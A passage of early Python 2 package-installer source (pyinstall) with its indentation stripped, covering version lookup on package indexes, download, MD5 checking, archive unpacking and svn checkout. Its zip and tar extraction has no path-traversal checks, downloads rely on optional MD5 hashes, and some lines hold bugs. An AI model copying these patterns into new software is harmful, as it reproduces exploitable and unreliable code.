page = self._get_page(main_index_url, req)
if page is None:
url_name = self._find_url_name(Link(self.index_urls[0]), url_name, req)
if url_name is not None:
locations = [
posixpath.join(url, url_name)
for url in self.index_urls] + self.find_links
else:
locations = list(self.find_links)
locations.extend(self.dependency_links)
for version in req.absolute_versions:
locations = [
posixpath.join(url, url_name, version)] + locations
locations = [Link(url) for url in locations]
logger.debug('URLs to search for versions for %s:' % req)
for location in locations:
logger.debug('* %s' % location)
found_versions = []
for page in self._get_pages(locations, req):
logger.debug('Analyzing links from page %s' % page.url)
logger.indent += 2
try:
found_versions.extend(self._package_versions(page.links, req.name.lower()))
finally:
logger.indent -= 2
dependency_versions = list(self._package_versions([Link(url) for url in self.dependency_links], req.name.lower()))
if dependency_versions:
logger.info('dependency_links found: %s' % ', '.join([link.url for parsed, link, version in dependency_versions]))
found_versions.extend(dependency_versions)
if not found_versions:
logger.fatal('Could not find any downloads that satisfy the requirement %s' % req)
raise DistributionNotFound('No distributions at all found for %s' % req)
if req.satisfied_by is not None:
found_versions.append((req.satisfied_by.parsed_version, Inf, req.satisfied_by.version))
found_versions.sort(reverse=True)
applicable_versions = []
for (parsed_version, link, version) in found_versions:
if version not in req.req:
logger.info("Ignoring link %s, version %s doesn't match %s"
% (link, version, ','.join([''.join(s) for s in req.req.specs])))
continue
applicable_versions.append((link, version))
existing_applicable = bool([link for link, version in applicable_versions if link is Inf])
if not upgrade and existing_applicable:
if applicable_versions[0][1] is Inf:
logger.info('Existing installed version (%s) is most up-to-date and satisfies requirement'
% req.satisfied_by.version)
else:
logger.info('Existing installed version (%s) satisfies requirement (most up-to-date version is %s)'
% (req.satisfied_by.version, application_versions[0][2]))
return None
if not applicable_versions:
logger.fatal('Could not find a version that satisfies the requirement %s (from versions: %s)'
% (req, ', '.join([version for parsed_version, link, version in found_versions])))
raise DistributionNotFound('No distributions matching the version for %s' % req)
if applicable_versions[0][0] is Inf:
# We have an existing version, and its the best version
logger.info('Installed version (%s) is most up-to-date (past versions: %s)'
% (req.satisfied_by.version, ', '.join([version for link, version in applicable_versions[1:]]) or 'none'))
return None
if len(applicable_versions) > 1:
logger.info('Using version %s (newest of versions: %s)' %
(applicable_versions[0][1], ', '.join([version for link, version in applicable_versions])))
return applicable_versions[0][0]
def _find_url_name(self, index_url, url_name, req):
"""Finds the true URL name of a package, when the given name isn't quite correct.
This is usually used to implement case-insensitivity."""
if not index_url.url.endswith('/'):
# Vaguely part of the PyPI API... weird but true.
## FIXME: bad to modify this?
index_url.url += '/'
page = self._get_page(index_url, req)
if page is None:
logger.fatal('Cannot fetch index base URL %s' % index_url)
raise DistributionNotFound('Cannot find requirement %s, nor fetch index URL %s' % (req, index_url))
norm_name = normalize_name(req.url_name)
for link in page.links:
base = posixpath.basename(link.path.rstrip('/'))
if norm_name == normalize_name(base):
logger.notify('Real name of requirement %s is %s' % (url_name, base))
return base
return None
def _get_pages(self, locations, req):
"""Yields (page, page_url) from the given locations, skipping
locations that have errors, and adding download/homepage links"""
pending_queue = Queue()
for location in locations:
pending_queue.put(location)
done = []
seen = set()
threads = []
for i in range(min(10, len(locations))):
t = threading.Thread(target=self._get_queued_page, args=(req, pending_queue, done, seen))
t.setDaemon(True)
threads.append(t)
t.start()
for t in threads:
t.join()
return done
_log_lock = threading.Lock()
def _get_queued_page(self, req, pending_queue, done, seen):
while 1:
try:
location = pending_queue.get(False)
except QueueEmpty:
return
if location in seen:
continue
seen.add(location)
page = self._get_page(location, req)
if page is None:
continue
done.append(page)
for link in page.rel_links():
pending_queue.put(link)
_egg_fragment_re = re.compile(r'#egg=([^&]*)')
_egg_info_re = re.compile(r'([a-z0-9_.]+)-([a-z0-9_.-]+)', re.I)
_py_version_re = re.compile(r'-py([123]\.[0-9])$')
def _package_versions(self, links, search_name):
seen_links = {}
for link in links:
if link.url in seen_links:
continue
seen_links[link.url] = None
if link.egg_fragment:
egg_info = link.egg_fragment
else:
path = link.path
egg_info, ext = link.splitext()
if not ext:
logger.debug('Skipping link %s; not a file' % link)
continue
if egg_info.endswith('.tar'):
# Special double-extension case:
egg_info = egg_info[:-4]
ext = '.tar' + ext
if ext not in ('.tar.gz', '.tar.bz2', '.tar', '.tgz', '.zip'):
logger.debug('Skipping link %s; unknown archive format: %s' % (link, ext))
continue
version = self._egg_info_matches(egg_info, search_name, link)
if version is None:
logger.debug('Skipping link %s; wrong project name (not %s)' % (link, search_name))
continue
match = self._py_version_re.search(version)
if match:
version = version[:match.start()]
py_version = match.group(1)
if py_version != sys.version[:3]:
logger.debug('Skipping %s because Python version is incorrect' % link)
continue
logger.debug('Found link %s, version: %s' % (link, version))
yield (pkg_resources.parse_version(version),
link,
version)
def _egg_info_matches(self, egg_info, search_name, link):
match = self._egg_info_re.search(egg_info)
if not match:
logger.debug('Could not parse version from link: %s' % link)
return None
name = match.group(0).lower()
# To match the "safe" name that pkg_resources creates:
name = name.replace('_', '-')
if name.startswith(search_name.lower()):
return match.group(0)[len(search_name):].lstrip('-')
else:
return None
def _get_page(self, link, req):
return HTMLPage.get_page(link, req, cache=self.cache)
class InstallRequirement(object):
def __init__(self, req, comes_from, source_dir=None, editable=False,
url=None, update=True):
if isinstance(req, basestring):
req = pkg_resources.Requirement.parse(req)
self.req = req
self.comes_from = comes_from
self.source_dir = source_dir
self.editable = editable
if editable:
assert url, "You must give url with editable=True"
self.url = url
self._egg_info_path = None
# This holds the pkg_resources.Distribution object if this requirement
# is already available:
self.satisfied_by = None
self._temp_build_dir = None
self._is_bundle = None
# True if the editable should be updated:
self.update = update
@classmethod
def from_editable(cls, editable_req, comes_from=None):
name, url = parse_editable(editable_req)
return cls(name, comes_from, editable=True, url=url)
@classmethod
def from_line(cls, name, comes_from=None):
"""Creates an InstallRequirement from a name, which might be a
requirement, filename, or URL.
"""
url = None
req = name
if is_url(name):
url = name
## FIXME: I think getting the requirement here is a bad idea:
#req = get_requirement_from_url(url)
req = None
elif is_filename(name):
if not os.path.exists(name):
logger.warn('Requirement %r looks like a filename, but the file does not exist'
% name)
url = filename_to_url(name)
#req = get_requirement_from_url(url)
req = None
return cls(req, comes_from, url=url)
def __str__(self):
if self.req:
s = str(self.req)
if self.url:
s += ' from %s' % self.url
else:
s = self.url
if self.satisfied_by is not None:
s += ' in %s' % display_path(self.satisfied_by.location)
if self.editable:
if self.req:
s += ' checkout from %s' % self.url
if self.comes_from:
if isinstance(self.comes_from, basestring):
comes_from = self.comes_from
else:
comes_from = self.comes_from.from_path()
s += ' (from %s)' % comes_from
return s
def from_path(self):
s = str(self.req)
if self.comes_from:
if isinstance(self.comes_from, basestring):
comes_from = self.comes_from
else:
comes_from = self.comes_from.from_path()
s += '->' + comes_from
return s
def build_location(self, build_dir):
if self._temp_build_dir is not None:
return self._temp_build_dir
if self.req is None:
self._temp_build_dir = tempfile.mkdtemp('-build', 'pyinstall-')
return self._temp_build_dir
if self.editable:
name = self.name.lower()
else:
name = self.name
return os.path.join(build_dir, name)
@property
def name(self):
if self.req is None:
return None
return self.req.project_name
@property
def url_name(self):
if self.req is None:
return None
return urllib.quote(self.req.unsafe_name)
@property
def setup_py(self):
return os.path.join(self.source_dir, 'setup.py')
def run_egg_info(self):
assert self.source_dir
if self.name:
logger.notify('Running setup.py egg_info for package %s' % self.name)
else:
logger.notify('Running setup.py egg_info for package from %s' % self.url)
logger.indent += 2
try:
script = self._run_setup_py
script = script.replace('__SETUP_PY__', repr(self.setup_py))
script = script.replace('__PKG_NAME__', repr(self.name))
# We can't put the .egg-info files at the root, because then the source code will be mistaken
# for an installed egg, causing problems
if self.editable:
egg_base_option = []
else:
egg_info_dir = os.path.join(self.source_dir, 'pyinstall-egg-info')
if not os.path.exists(egg_info_dir):
os.makedirs(egg_info_dir)
egg_base_option = ['--egg-base', 'pyinstall-egg-info']
call_subprocess(
[sys.executable, '-c', script, 'egg_info'] + egg_base_option,
cwd=self.source_dir, filter_stdout=self._filter_install, show_stdout=False,
command_level=Logger.VERBOSE_DEBUG,
command_desc='python setup.py egg_info')
finally:
logger.indent -= 2
if not self.req:
self.req = pkg_resources.Requirement.parse(self.pkg_info()['Name'])
## FIXME: This is a lame hack, entirely for PasteScript which has
## a self-provided entry point that causes this awkwardness
_run_setup_py = """
__file__ = __SETUP_PY__
from setuptools.command import egg_info
def replacement_run(self):
self.mkpath(self.egg_info)
installer = self.distribution.fetch_build_egg
for ep in egg_info.iter_entry_points('egg_info.writers'):
# require=False is the change we're making:
writer = ep.load(require=False)
writer(self, ep.name, egg_info.os.path.join(self.egg_info,ep.name))
self.find_sources()
egg_info.egg_info.run = replacement_run
execfile(__file__)
"""
def egg_info_data(self, filename):
if self.satisfied_by is not None:
if not self.satisfied_by.has_metadata(filename):
return None
return self.satisfied_by.get_metadata(filename)
assert self.source_dir
filename = self.egg_info_path(filename)
if not os.path.exists(filename):
return None
fp = open(filename, 'r')
data = fp.read()
fp.close()
return data
def egg_info_path(self, filename):
if self._egg_info_path is None:
if self.editable:
base = self.source_dir
else:
base = os.path.join(self.source_dir, 'pyinstall-egg-info')
filenames = os.listdir(base)
if self.editable:
filenames = [f for f in filenames if f.endswith('.egg-info')]
assert len(filenames) == 1, "Unexpected files/directories in %s: %s" % (base, ' '.join(filenames))
self._egg_info_path = os.path.join(base, filenames[0])
return os.path.join(self._egg_info_path, filename)
def egg_info_lines(self, filename):
data = self.egg_info_data(filename)
if not data:
return []
result = []
for line in data.splitlines():
line = line.strip()
if not line or line.startswith('#'):
continue
result.append(line)
return result
def pkg_info(self):
p = FeedParser()
data = self.egg_info_data('PKG-INFO')
if not data:
logger.warn('No PKG-INFO file found in %s' % display_path(self.egg_info_path('PKG-INFO')))
p.feed(data or '')
return p.close()
@property
def dependency_links(self):
return self.egg_info_lines('dependency_links.txt')
_requirements_section_re = re.compile(r'\[(.*?)\]')
def requirements(self, extras=()):
in_extra = None
for line in self.egg_info_lines('requires.txt'):
match = self._requirements_section_re.match(line)
if match:
in_extra = match.group(1)
continue
if in_extra and in_extra not in extras:
# Skip requirement for an extra we aren't requiring
continue
yield line
@property
def absolute_versions(self):
for qualifier, version in self.req.specs:
if qualifier == '==':
yield version
@property
def installed_version(self):
return self.pkg_info()['version']
def assert_source_matches_version(self):
assert self.source_dir
if self.comes_from == 'command line':
# We don't check the versions of things explicitly installed.
# This makes, e.g., "pyinstall Package==dev" possible
return
version = self.installed_version
if version not in self.req:
logger.fatal(
'Source in %s has the version %s, which does not match the requirement %s'
% (display_path(self.source_dir), version, self))
raise InstallationError(
'Source in %s has version %s that conflicts with %s'
% (display_path(self.source_dir), version, self))
else:
logger.debug('Source in %s has version %s, which satisfies requirement %s'
% (display_path(self.source_dir), version, self))
def update_editable(self):
assert self.editable and self.url
assert self.source_dir
assert '+' in self.url, "bad url: %r" % self.url
if not self.update:
return
vc_type, url = self.url.split('+', 1)
vc_type = vc_type.lower()
if vc_type == 'svn':
self.checkout_svn()
else:
assert 0, (
'Unexpected version control type (in %s): %s'
% (self.url, vc_type))
def checkout_svn(self):
url = self.url.split('+', 1)[1]
url = url.split('#', 1)[0]
if '@' in url:
url, rev = url.split('@', 1)
else:
rev = None
if rev:
rev_options = ['-r', rev]
rev_display = ' (to revision %s)' % rev
else:
rev_options = []
rev_display = ''
dest = self.source_dir
checkout = True
if os.path.exists(os.path.join(self.source_dir, '.svn')):
existing_url = _get_svn_info(self.source_dir)[0]
checkout = False
if existing_url == url:
logger.info('Checkout in %s exists, and has correct URL (%s)'
% (display_path(self.source_dir), url))
logger.notify('Updating checkout %s%s' % (display_path(self.source_dir), rev_display))
call_subprocess(
['svn', 'update'] + rev_options + [self.source_dir])
else:
logger.warn('svn checkout in %s exists with URL %s' % (display_path(self.source_dir), existing_url))
logger.warn('The plan is to install the svn repository %s' % url)
response = ask('What to do? (s)witch, (i)gnore, (w)ipe, (b)ackup', ('s', 'i', 'w', 'b'))
if response == 's':
logger.notify('Switching checkout %s to %s%s'
% (display_path(self.source_dir), url, rev_display))
call_subprocess(
['svn', 'switch'] + rev_options + [url, self.source_dir])
elif response == 'i':
# do nothing
pass
elif response == 'w':
logger.warn('Deleting %s' % display_path(self.source_dir))
shutil.rmtree(self.source_dir)
checkout = True
elif response == 'b':
dest_dir = backup_dir(self.source_dir)
logger.warn('Backing up %s to %s' % display_path(self.source_dir, dest_dir))
shutil.move(self.source_dir, dest_dir)
checkout = True
if checkout:
logger.notify('Checking out %s%s to %s' % (url, rev_display, display_path(self.source_dir)))
call_subprocess(
['svn', 'checkout', '-q'] + rev_options + [url, self.source_dir])
def install(self, install_options):
if self.editable:
self.install_editable()
return
## FIXME: this is not a useful record:
## Also a bad location
## And not right on Windows
install_location = os.path.join(sys.prefix, 'lib', 'python%s' % sys.version[:3])
record_filename = os.path.join(install_location, 'install-record-%s.txt' % self.name)
## FIXME: I'm not sure if this is a reasonable location; probably not
## but we can't put it in the default location, as that is a virtualenv symlink that isn't writable
header_dir = os.path.join(os.path.dirname(os.path.dirname(self.source_dir)), 'lib', 'include')
logger.notify('Running setup.py install for %s' % self.name)
logger.indent += 2
try:
call_subprocess(
[sys.executable, '-c',
"import setuptools; __file__=%r; execfile(%r)" % (self.setup_py, self.setup_py),
'install', '--single-version-externally-managed', '--record', record_filename,
'--install-headers', header_dir] + install_options,
cwd=self.source_dir, filter_stdout=self._filter_install, show_stdout=False)
finally:
logger.indent -= 2
def remove_temporary_source(self):
"""Remove the source files from this requirement, if they are marked
for deletion"""
if self.is_bundle or os.path.exists(self.delete_marker_filename):
logger.info('Removing source in %s' % self.source_dir)
if self.source_dir:
shutil.rmtree(self.source_dir)
self.source_dir = None
if self._temp_build_dir and os.path.exists(self._temp_build_dir):
shutil.rmtree(self._temp_build_dir)
self._temp_build_dir = None
def install_editable(self):
logger.notify('Running setup.py develop for %s' % self.name)
logger.indent += 2
try:
## FIXME: should we do --install-headers here too?
call_subprocess(
[sys.executable, '-c',
"import setuptools; __file__=%r; execfile(%r)" % (self.setup_py, self.setup_py),
'develop', '--no-deps'], cwd=self.source_dir, filter_stdout=self._filter_install,
show_stdout=False)
finally:
logger.indent -= 2
def _filter_install(self, line):
level = Logger.NOTIFY
for regex in [r'^running .*', r'^writing .*', '^creating .*', '^[Cc]opying .*',
r'^reading .*', r"^removing .*\.egg-info' \(and everything under it\)$",
r'^byte-compiling ',
# Not sure what this warning is, but it seems harmless:
r"^warning: manifest_maker: standard file '-c' not found$"]:
if re.search(regex, line.strip()):
level = Logger.INFO
break
return (level, line)
def check_if_exists(self):
"""Checks if this requirement is satisfied by something already installed"""
if self.req is None:
return False
try:
dist = pkg_resources.get_distribution(self.req)
except pkg_resources.DistributionNotFound:
return False
self.satisfied_by = dist
return True
@property
def is_bundle(self):
if self._is_bundle is not None:
return self._is_bundle
base = self._temp_build_dir
if not base:
## FIXME: this doesn't seem right:
return False
self._is_bundle = os.path.exists(os.path.join(base, 'pyinstall-manifest.txt'))
return self._is_bundle
def bundle_requirements(self):
base = self._temp_build_dir
assert base
src_dir = os.path.join(base, 'src')
build_dir = os.path.join(base, 'build')
if os.path.exists(src_dir):
for package in os.listdir(src_dir):
## FIXME: svnism:
url = 'svn+' + _get_svn_info(os.path.join(src_dir, package))[0]
yield InstallRequirement(
package, self, editable=True, url=url,
update=False)
if os.path.exists(build_dir):
for package in os.listdir(build_dir):
yield InstallRequirement(
package, self)
def move_bundle_files(self, dest_build_dir, dest_src_dir):
base = self._temp_build_dir
assert base
src_dir = os.path.join(base, 'src')
build_dir = os.path.join(base, 'build')
for source_dir, dest_dir in [(src_dir, dest_src_dir),
(build_dir, dest_build_dir)]:
if os.path.exists(source_dir):
for dirname in os.listdir(source_dir):
dest = os.path.join(dest_dir, dirname)
if os.path.exists(dest):
logger.warn('The directory %s (containing package %s) already exists; cannot move source from bundle %s'
% (dest, dirname, self))
continue
if not os.path.exists(dest_dir):
logger.info('Creating directory %s' % dest_dir)
os.makedirs(dest_dir)
shutil.move(os.path.join(source_dir, dirname), dest)
@property
def delete_marker_filename(self):
assert self.source_dir
return os.path.join(self.source_dir, 'pyinstall-delete-this-directory.txt')
DELETE_MARKER_MESSAGE = '''\
This file is placed here by pyinstall to indicate the source was put
here by pyinstall.
Once this package is successfully installed this source code will be
deleted (unless you remove this file).
'''
class RequirementSet(object):
def __init__(self, build_dir, src_dir, upgrade=False, ignore_installed=False):
self.build_dir = build_dir
self.src_dir = src_dir
self.upgrade = upgrade
self.ignore_installed = ignore_installed
self.requirements = {}
# Mapping of alias: real_name
self.requirement_aliases = {}
self.unnamed_requirements = []
def __str__(self):
reqs = [req for req in self.requirements.values()
if not req.comes_from]
reqs.sort(key=lambda req: req.name.lower())
return ' '.join([str(req.req) for req in reqs])
def add_requirement(self, install_req):
name = install_req.name
if not name:
self.unnamed_requirements.append(install_req)
else:
if self.has_requirement(name):
raise InstallationError(
'Double requirement given: %s (aready in %s, name=%r)'
% (install_req, self.get_requirement(name), name))
self.requirements[name] = install_req
## FIXME: what about other normalizations? E.g., _ vs. -?
if name.lower() != name:
self.requirement_aliases[name.lower()] = name
def has_requirement(self, project_name):
for name in project_name, project_name.lower():
if name in self.requirements or name in self.requirement_aliases:
return True
return False
def get_requirement(self, project_name):
for name in project_name, project_name.lower():
if name in self.requirements:
return self.requirements[name]
if name in self.requirement_aliases:
return self.requirements[self.requirement_aliases[name]]
raise KeyError("No project with the name %r" % project_name)
def install_files(self, finder):
unnamed = list(self.unnamed_requirements)
reqs = self.requirements.values()
while reqs or unnamed:
if unnamed:
req_to_install = unnamed.pop(0)
else:
req_to_install = reqs.pop(0)
install = True
if not self.ignore_installed and not req_to_install.editable:
if req_to_install.check_if_exists():
if not self.upgrade:
# If we are upgrading, we still need to check the version
install = False
if req_to_install.satisfied_by is not None:
logger.notify('Requirement already satisfied: %s' % req_to_install)
elif req_to_install.editable:
logger.notify('Checking out %s' % req_to_install)
else:
if req_to_install.url and req_to_install.url.lower().startswith('file:'):
logger.notify('Unpacking %s' % display_path(url_to_filename(req_to_install.url)))
else:
logger.notify('Downloading/unpacking %s' % req_to_install)
logger.indent += 2
is_bundle = False
try:
if req_to_install.editable:
location = req_to_install.build_location(self.src_dir)
req_to_install.source_dir = location
req_to_install.update_editable()
req_to_install.run_egg_info()
elif install:
location = req_to_install.build_location(self.build_dir)
## FIXME: is the existance of the checkout good enough to use it? I'm don't think so.
unpack = True
if not os.path.exists(os.path.join(location, 'setup.py')):
## FIXME: this won't upgrade when there's an existing package unpacked in `location`
if req_to_install.url is None:
url = finder.find_requirement(req_to_install, upgrade=self.upgrade)
else:
## FIXME: should req_to_install.url already be a link?
url = Link(req_to_install.url)
assert url
if url:
try:
self.unpack_url(url, location)
except urllib2.HTTPError, e:
logger.fatal('Could not install requirement %s because of error %s'
% (req_to_install, e))
raise InstallationError(
'Could not install requirement %s because of HTTP error %s for URL %s'
% (req_to_install, e, url))
else:
unpack = False
if unpack:
is_bundle = req_to_install.is_bundle
if is_bundle:
for subreq in req_to_install.bundle_requirements():
reqs.append(subreq)
self.add_requirement(subreq)
req_to_install.move_bundle_files(self.build_dir, self.src_dir)
else:
req_to_install.source_dir = location
req_to_install.run_egg_info()
req_to_install.assert_source_matches_version()
f = open(req_to_install.delete_marker_filename, 'w')
f.write(DELETE_MARKER_MESSAGE)
f.close()
if not is_bundle:
## FIXME: shouldn't be globally added:
finder.add_dependency_links(req_to_install.dependency_links)
## FIXME: add extras in here:
for req in req_to_install.requirements():
try:
name = pkg_resources.Requirement.parse(req).project_name
except ValueError, e:
## FIXME: proper warning
logger.error('Invalid requirement: %r (%s) in requirement %s' % (req, e, req_to_install))
continue
if self.has_requirement(name):
## FIXME: check for conflict
continue
subreq = InstallRequirement(req, req_to_install)
reqs.append(subreq)
self.add_requirement(subreq)
if req_to_install.name not in self.requirements:
self.requirements[req_to_install.name] = req_to_install
else:
req_to_install.remove_temporary_source()
finally:
logger.indent -= 2
def unpack_url(self, link, location):
if link.scheme == 'svn' or link.scheme == 'svn+ssh':
self.svn_checkout(link, location)
return
dir = tempfile.mkdtemp()
if link.url.lower().startswith('file:'):
source = url_to_filename(link.url)
content_type = mimetypes.guess_type(source)
self.unpack_file(source, location, content_type, link)
return
md5_hash = link.md5_hash
target_url = link.url.split('#', 1)[0]
target_file = None
if os.environ.get('PYINSTALL_DOWNLOAD_CACHE'):
target_file = os.path.join(os.environ['PYINSTALL_DOWNLOAD_CACHE'],
urllib.quote(target_url, ''))
if (target_file and os.path.exists(target_file)
and os.path.exists(target_file+'.content-type')):
fp = open(target_file+'.content-type')
content_type = fp.read().strip()
fp.close()
if md5_hash:
download_hash = md5()
fp = open(target_file, 'rb')
while 1:
chunk = fp.read(4096)
if not chunk:
break
download_hash.update(chunk)
fp.close()
temp_location = target_file
logger.notify('Using download cache from %s' % target_file)
else:
try:
resp = urllib2.urlopen(target_url)
except urllib2.HTTPError, e:
logger.fatal("HTTP error %s while getting %s" % (e.code, link))
raise
except IOError, e:
# Typically an FTP error
logger.fatal("Error %s while getting %s" % (e, link))
raise
content_type = resp.info()['content-type']
filename = link.filename
ext = splitext(filename)
if not ext:
ext = mimetypes.guess_extension(content_type)
filename += ext
temp_location = os.path.join(dir, filename)
fp = open(temp_location, 'wb')
if md5_hash:
download_hash = md5()
try:
total_length = int(resp.info()['content-length'])
except (ValueError, KeyError):
total_length = 0
downloaded = 0
show_progress = total_length > 40*1000 or not total_length
show_url = link.show_url
try:
if show_progress:
## FIXME: the URL can get really long in this message:
if total_length:
logger.start_progress('Downloading %s (%s): ' % (show_url, format_size(total_length)))
else:
logger.start_progress('Downloading %s (unknown size): ' % show_url)
else:
logger.notify('Downloading %s' % show_url)
logger.debug('Downloading from URL %s' % link)
while 1:
chunk = resp.read(4096)
if not chunk:
break
downloaded += len(chunk)
if show_progress:
if not total_length:
logger.show_progress('%s' % format_size(downloaded))
else:
logger.show_progress('%3i%% %s' % (100*downloaded/total_length, format_size(downloaded)))
if md5_hash:
download_hash.update(chunk)
fp.write(chunk)
fp.close()
finally:
if show_progress:
logger.end_progress('%s downloaded' % format_size(downloaded))
if md5_hash:
download_hash = download_hash.hexdigest()
if download_hash != md5_hash:
logger.fatal("MD5 hash of the package %s (%s) doesn't match the expected hash %s!"
% (link, download_hash, md5_hash))
raise InstallationError('Bad MD5 hash for package %s' % link)
self.unpack_file(temp_location, location, content_type, link)
if target_file and target_file != temp_location:
logger.notify('Storing download in cache at %s' % display_path(target_file))
shutil.copyfile(temp_location, target_file)
fp = open(target_file+'.content-type', 'w')
fp.write(content_type)
fp.close()
os.unlink(temp_location)
def unpack_file(self, filename, location, content_type, link):
if (content_type == 'application/zip'
or filename.endswith('.zip')
or filename.endswith('.pybundle')):
self.unzip_file(filename, location, flatten=not filename.endswith('.pybundle'))
elif (content_type == 'application/x-gzip'
or tarfile.is_tarfile(filename)
or splitext(filename)[1].lower() in ('.tar', '.tar.gz', '.tar.bz2', '.tgz')):
self.untar_file(filename, location)
elif (content_type.startswith('text/html')
and is_svn_page(file_contents(filename))):
# We don't really care about this
self.svn_checkout(link.url, location)
else:
## FIXME: handle?
## FIXME: magic signatures?
logger.fatal('Cannot unpack file %s (downloaded from %s, content-type: %s); cannot detect archive format'
% (filename, location, content_type))
raise InstallationError('Cannot determine archive format of %s' % location)
def unzip_file(self, filename, location, flatten=True):
"""Unzip the file (zip file located at filename) to the destination
location"""
if not os.path.exists(location):
os.makedirs(location)
zipfp = open(filename, 'rb')
try:
zip = zipfile.ZipFile(zipfp)
leading = has_leading_dir(zip.namelist()) and flatten
for name in zip.namelist():
data = zip.read(name)
fn = name
if leading:
fn = split_leading_dir(name)[1]
fn = os.path.join(location, fn)
dir = os.path.dirname(fn)
if not os.path.exists(dir):
os.makedirs(dir)
if fn.endswith('/'):
# A directory
if not os.path.exists(fn):
os.makedirs(fn)
else:
fp = open(fn, 'wb')
try:
fp.write(data)
finally:
fp.close()
finally:
zipfp.close()
def untar_file(self, filename, location):
"""Untar the file (tar file located at filename) to the destination location"""
if not os.path.exists(location):
os.makedirs(location)
if filename.lower().endswith('.gz') or filename.lower().endswith('.tgz'):
mode = 'r:gz'
elif filename.lower().endswith('.bz2'):
mode = 'r:bz2'
elif filename.lower().endswith('.tar'):
mode = 'r'
else:
logger.warn('Cannot determine compression type for file %s' % filename)
mode = 'r:*'
tar = tarfile.open(filename, mode)
try:
leading = has_leading_dir([member.name for member in tar.getmembers()])
for member in tar.getmembers():
fn = member.name
if leading:
fn = split_leading_dir(fn)[1]
path = os.path.join(location, fn)
if member.isdir():
if not os.path.exists(path):
os.makedirs(path)
else:
fp = tar.extractfile(member)
if not os.path.exists(os.path.dirname(path)):
os.makedirs(os.path.dirname(path))
destfp = open(path, 'wb')
try:
shutil.copyfileobj(fp, destfp)
finally:
destfp.close()
fp.close()
finally:
tar.close()
def svn_checkout(self, url, location):
"""Check out the svn repository at the url to the destination location"""
if '#' in url:
url = url.split('#', 1)[0]
logger.notify('Checking out svn repository %s to %s' % (url, location))
logger.indent += 2
try:
## FIXME: not sure that --force is good, but it is needed
## when installing directly (not via a requirement),
## because the destination directory already exists.
call_subprocess(['svn', 'checkout', '--force', url, location],
filter_stdout=self._filter_svn, show_stdout=False)
finally:
logger.indent -= 2
def _filter_svn(self, line):
return (Logger.INFO, line)
def install(self, install_options):
"""Install everything in this set (after having downloaded and unpacked the packages)"""
requirements = sorted(self.requirements.values(), key=lambda p: p.name.lower())
logger.notify('Installing collected packages: %s' % (', '.join([req.name for req in requirements])))
logger.indent += 2
try:
for requirement in self.requirements.values():
if requirement.satisfied_by is not None:
# Already installed
continue
requirement.install(install_options)
requirement.remove_temporary_source()
finally:
logger.indent -= 2
def create_bundle(self, bundle_filename):
## FIXME: can't decide which is better; zip is easier to read
## random files from, but tar.bz2 is smaller and not as lame a
## format.
## FIXME: this file should really include a manifest of the
## packages, maybe some other metadata files. It would make
## it easier to detect as well.
zip = zipfile.ZipFile(bundle_filename, 'w', zipfile.ZIP_DEFLATED)
svn_dirs = []
for dir, basename in (self.build_dir, 'build'), (self.src_dir, 'src'):
dir = os.path.normcase(os.path.abspath(dir))
for dirpath, dirnames, filenames in os.walk(dir):
svn_url = svn_rev = None
if '.svn' in dirnames:
for svn_dir in svn_dirs:
if dirpath.startswith(svn_dir):
# svn-checkout.txt already in parent directory
break
else:
svn_url, svn_rev = _get_svn_info(os.path.join(dir, dirpath))
svn_dirs.append(dirpath)
dirnames.remove('.svn')
for dirname in dirnames:
dirname = os.path.join(dirpath, dirname)
name = self._clean_zip_name(dirname, dir)
zip.writestr(basename + '/' + name + '/', '')
for filename in filenames:
filename = os.path.join(dirpath, filename)
name = self._clean_zip_name(filename, dir)
zip.write(filename, basename + '/' + name)
if svn_url:
name = os.path.join(dirpath, 'svn-checkout.txt')
name = self._clean_zip_name(name, dir)
zip.writestr(basename + '/' + name, self._svn_checkout_text(svn_url, svn_rev))
zip.writestr('pyinstall-manifest.txt', self.bundle_requirements())
zip.close()
# Unlike installation, this will always delete the build directories
logger.info('Removing temporary build dir %s and source dir %s'
% (self.build_dir, self.src_dir))
for dir in self.build_dir, self.src_dir:
if os.path.exists(dir):
shutil.rmtree(dir)
def _svn_checkout_text(self, svn_url, svn_rev):
return ('# This was an svn checkout; to make it a checkout again run:\n'
'svn checkout --force -r %s %s .\n' % (svn_rev, svn_url))
BUNDLE_HEADER = '''\
# This is a pyinstall bundle file, that contains many source packages
# that can be installed as a group. You can install this like:
# pyinstall this_file.zip
# The rest of the file contains a list of all the packages included:
'''
def bundle_requirements(self):
parts = [self.BUNDLE_HEADER]
for req in sorted(
[req for req in self.requirements.values()
if not req.comes_from],
key=lambda x: x.name):
parts.append('%s==%s\n' % (req.name, req.installed_version))
parts.append('# These packages were installed to satisfy the above requirements:\n')
for req in sorted(
[req for req in self.requirements.values()
if req.comes_from],
key=lambda x: x.name):
parts.append('%s==%s\n' % (req.name, req.installed_version))
## FIXME: should we do something with self.unnamed_requirements?
return ''.join(parts)
def _clean_zip_name(self, name, prefix):
assert name.startswith(prefix+'/'), (
"name %r doesn't start with prefix %r" % (name, prefix))
name = name[len(prefix)+1:]
name = name.replace(os.path.sep, '/')
return name
class HTMLPage(object):
"""Represents one page, along with its URL"""
## FIXME: these regexes are horrible hacks:
_homepage_re = re.compile(r'<th>\s*home\s*page', re.I)
_download_re = re.compile(r'<th>\s*download\s+url', re.I)
## These aren't so aweful:
_rel_re = re.compile("""<[^>]*\srel\s*=\s*['"]?([^'">]+)[^>]*>""", re.I)
_href_re = re.compile('href=(?:"([^"]*)"|\'([^\']*)\'|([^>\\s\\n]*))', re.I|re.S)
def __init__(self, content, url, headers=None):
self.content = content
self.url = url
self.headers = headers
def __str__(self):
return self.url
@classmethod
def get_page(cls, link, req, cache=None, skip_archives=True):
url = link.url
url = url.split('#', 1)[0]
if cache.too_many_failures(url):
return None
if url.lower().startswith('svn'):
logger.debug('Cannot look at svn URL %s' % link)
return None
if cache is not None:
inst = cache.get_page(url)
if inst is not None:
return inst
try:
if skip_archives:
if cache is not None:
if cache.is_archive(url):
return None
filename = link.filename
for bad_ext in ['.tar', '.tar.gz', '.tar.bz2', '.tgz', '.zip']:
if filename.endswith(bad_ext):
content_type = cls._get_content_type(url)
if content_type.lower().startswith('text/html'):
break
else:
logger.debug('Skipping page %s because of Content-Type: %s' % (link, content_type))
if cache is not None:
cache.set_is_archive(url)
return None
logger.debug('Getting page %s' % url)
resp = urllib2.urlopen(url)
real_url = resp.geturl()
headers = resp.info()
inst = cls(resp.read(), real_url, headers)
except (urllib2.HTTPError, urllib2.URLError, socket.timeout, socket.error), e:
desc = str(e)
if isinstance(e, socket.timeout):
log_meth = logger.warn
level =1
desc = 'timed out'
elif isinstance(e, urllib2.URLError):
